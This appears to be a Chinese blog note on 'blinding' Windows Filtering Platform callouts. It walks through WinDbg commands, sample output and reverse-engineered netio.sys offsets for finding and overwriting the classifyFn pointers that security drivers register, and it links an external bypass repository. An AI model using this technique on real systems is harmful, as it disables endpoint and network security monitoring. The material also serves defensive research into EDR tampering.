https://github.com/V-i-x-x/kernel-callback-removal/blob/main/NetworkKernelBypass/Readme.md
https://github.com/0mWindyBug/WFPCalloutReserach
如下图,我们大概就可以知道wfp在做什么,我们进行绕过的话,主要针对的就是这个callout的classifyFn
第三方驱动通过调用 FwpsCalloutRegister 注册自己的回调函数(callout),WFP 将所有 callout 统一存储在 netio.sys 管理的全局表中。下面代码简单看一下注册 Callout的流程,就可以知道,我们可以主动写这个classifyFn,里面写上一些处理逻辑,那么我们绕过的思路,就是把这个MyClassifyFn替换成没啥用的函数,那么就可以致盲了。
注册 Callout:在驱动入口函数中,填充注册结构体并向引擎注册:
1 | FWPS_CALLOUT sCallout = {0}; |
编写 ClassifyFn 逻辑:
1 | void MyClassifyFn( |
1 | x netio!gWfpGlobal |
输出示例:
1 | fffff801`850ec510 netio!gWfpGlobal |
这是一个指针,指向 WFP 的全局控制结构(类型未公开符号)。
取出指针值:
1 | dp netio!gWfpGlobal L1 |
示例结果:
1 | fffff801`850ec510 ffffbb08`8dcdf460 <- 全局结构基址 |
WFP 内部用 GetCalloutEntry(calloutId, &entry) 来根据 ID 查找 callout。反汇编它可以直接读出数组偏移:
1 | uf NETIO!GetCalloutEntry |
关键汇编片段:
1 | mov r8, qword ptr [NETIO!gWfpGlobal] ; r8 = 全局结构基址 |
由此得出全局结构的两个关键偏移:
| 偏移 | 含义 |
|---|---|
+0x190 |
callout 槽位总数(count,DWORD) |
+0x198 |
callout 数组基址(指针) |
假设全局结构基址为 BASE(从 gWfpGlobal 取得):
1 | dd BASE+0x190 L1 ; 读 count(DWORD) |
实际示例:
1 | 1: kd> dd 0xffffbb088dcdf460+0x190 L1 |
从 GetCalloutEntry 反汇编:
1 | mov eax, ecx ; eax = index |
每个 entry 大小 = 0x50 字节(80字节)
Entry 地址 = 数组基址 + index × 0x50
通过实际 dump 确认的偏移:
| 偏移 | 大小 | 含义 |
|---|---|---|
+0x00 |
DWORD | callout ID(注册时分配) |
+0x04 |
DWORD | active 标志(非0 = 有效) |
+0x08 |
8字节 | 未知/保留 |
+0x10 |
QWORD | classifyFn 指针 |
+0x18 |
QWORD | notifyFn 指针 |
+0x20 |
QWORD | flowDeleteFn 指针(可为0) |
+0x28~ |
… | 其他字段(flags、layer 信息等) |
实际 dump 示例(一个有效 entry):
1 | ffffbb08`8ddf1aa0 00000001`00000004 ; [+0x00]=id=4, [+0x04]=active=1 |
先 dump 数组开头,确认对齐是否正确:
1 | dqs 数组基址 L0x14 |
第一个全零的 entry 是空槽,找到第一个 +0x04 不为零的就是有效 entry。
注意:.for 初始化不能同时赋值两个寄存器,必须在循环外赋值。
1 | r $t1=0 |
说明:
0x400 替换为你的实际 count 值0xffffbb088ddec000 替换为你的实际数组基址by(@$t2+4) 读取 active 标志的低字节,非0表示有效1 | r $t1=0 |
https://github.com/V-i-x-x/kernel-callback-removal/blob/main/NetworkKernelBypass/Readme.md
直接看大佬的代码即可,我们只需要改动一些必要的偏移,我自己测试的话,改动了如下即可。
| count 偏移 | +0x190 = 0x400(1024槽) |
|---|---|
| 数组基址偏移 | +0x198 = ffffbb08'8ddec000 |